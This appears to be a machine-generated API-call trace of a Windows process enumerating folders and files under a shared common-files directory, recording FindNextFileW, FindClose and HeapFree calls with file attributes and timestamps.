	[0086.404] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c86bce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c6c, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="THEMES.INF", cAlternateFileName="")) returned 1
	[0086.405] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0086.405] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="WATERMAR", cAlternateFileName="")) returned 1
	[0086.406] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0086.406] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="WATERMAR", cAlternateFileName="")) returned 0
	[0086.406] FindClose (in: hFindFile=0x31218d0 | out: hFindFile=0x31218d0) returned 1
	[0086.406] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0086.409] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0dcc568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSLAT", cAlternateFileName="")) returned 1
	[0087.921] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0087.921] FindNextFileW (in: hFindFile=0x3121190, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc8aa06f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8aa06f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ENFR", cAlternateFileName="")) returned 1
	[0087.922] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0087.922] FindNextFileW (in: hFindFile=0x3121190, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8aa06f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ESEN", cAlternateFileName="")) returned 1
	[0087.922] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0087.922] FindNextFileW (in: hFindFile=0x3121190, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf63a12a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc91c74d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="FREN", cAlternateFileName="")) returned 1
	[0087.923] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0087.923] FindNextFileW (in: hFindFile=0x3121190, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27cace65, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="MSB1CACH.LEX", cAlternateFileName="")) returned 1
	[0087.924] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0087.925] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca8c279f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca8c279f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1
	[0087.927] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0087.927] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca8c279f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdb5e071a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x42d088, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 1
	[0087.927] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0087.927] FindNextFileW (in: hFindFile=0x3121190, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf24004e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf24004e4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="VBA7.1", cAlternateFileName="")) returned 0
	[0087.927] FindClose (in: hFindFile=0x3121190 | out: hFindFile=0x3121190) returned 1
	[0087.933] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0087.934] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52ea133, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x52ea133, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x52ea133, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio Shared", cAlternateFileName="VISIOS~1")) returned 1
	[0087.938] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0087.938] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52ea133, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x62b5b1e, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x62b5b1e, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="Fonts", cAlternateFileName="")) returned 0
	[0087.939] FindClose (in: hFindFile=0x3121310 | out: hFindFile=0x3121310) returned 1
	[0087.939] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0087.939] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1
	[0087.940] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0087.940] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27d1f57e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x239ec0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FPSRVUTL.DLL", cAlternateFileName="")) returned 1
	[0087.940] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0087.940] FindNextFileW (in: hFindFile=0x3121190, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca27806, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca27806, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0
	[0087.940] FindClose (in: hFindFile=0x3121190 | out: hFindFile=0x3121190) returned 1
	[0087.941] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0087.941] FindNextFileW (in: hFindFile=0x3121450, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="16", cAlternateFileName="")) returned 0
	[0087.941] FindClose (in: hFindFile=0x3121450 | out: hFindFile=0x3121450) returned 1
	[0087.941] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0087.942] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0
	[0087.942] FindClose (in: hFindFile=0x3121890 | out: hFindFile=0x3121890) returned 1
	[0087.942] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0087.943] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e16872b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e16872b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2272ee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ODBC", cAlternateFileName="")) returned 1
	[0087.944] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0087.944] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e2272ee, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e2272ee, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2272ee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data Sources", cAlternateFileName="DATASO~1")) returned 0
	[0087.944] FindClose (in: hFindFile=0x3121890 | out: hFindFile=0x3121890) returned 1
	[0087.944] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0087.944] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SYSTEM", cAlternateFileName="")) returned 1
	[0087.946] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0087.946] FindNextFileW (in: hFindFile=0x3121190, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0
	[0087.946] FindClose (in: hFindFile=0x3121190 | out: hFindFile=0x3121190) returned 1
	[0087.946] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0087.946] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8dd674, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ole db", cAlternateFileName="OLEDB~1")) returned 1
	[0087.947] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0087.949] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8dd674, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ole db", cAlternateFileName="OLEDB~1")) returned 0
	[0087.949] FindClose (in: hFindFile=0x3121890 | out: hFindFile=0x3121890) returned 1
	[0087.949] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0087.950] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SYSTEM", cAlternateFileName="")) returned 0
	[0087.950] FindClose (in: hFindFile=0x3121850 | out: hFindFile=0x3121850) returned 1
	[0087.950] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e03998 | out: hHeap=0x500000) returned 1
	[0087.950] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesCommonX86", cAlternateFileName="PROGRA~4")) returned 1
	[0087.955] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0087.956] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefcf5b24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1
	[0087.965] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0087.965] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1e56af1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1e56af1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1031", cAlternateFileName="")) returned 1
	[0087.967] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0087.967] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0501a67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0501a67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0501a67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1
	[0087.967] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0087.967] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1036", cAlternateFileName="")) returned 1
	[0087.968] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0087.968] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6296213, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1040", cAlternateFileName="")) returned 1
	[0087.968] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0087.968] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf41cdbc1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1041", cAlternateFileName="")) returned 1
	[0087.969] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0087.969] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1329a43, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1329a43, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1329a43, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1042", cAlternateFileName="")) returned 1
	[0088.325] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0088.325] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b81e2e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b81e2e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b81e2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1046", cAlternateFileName="")) returned 1
	[0088.325] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0088.326] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff31e88, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff31e88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1049", cAlternateFileName="")) returned 1
	[0088.326] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0088.326] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefcf5b24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefcf5b24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefcf5b24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="2052", cAlternateFileName="")) returned 1
	[0088.326] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0088.326] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd68243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd68243, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 1
	[0088.326] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
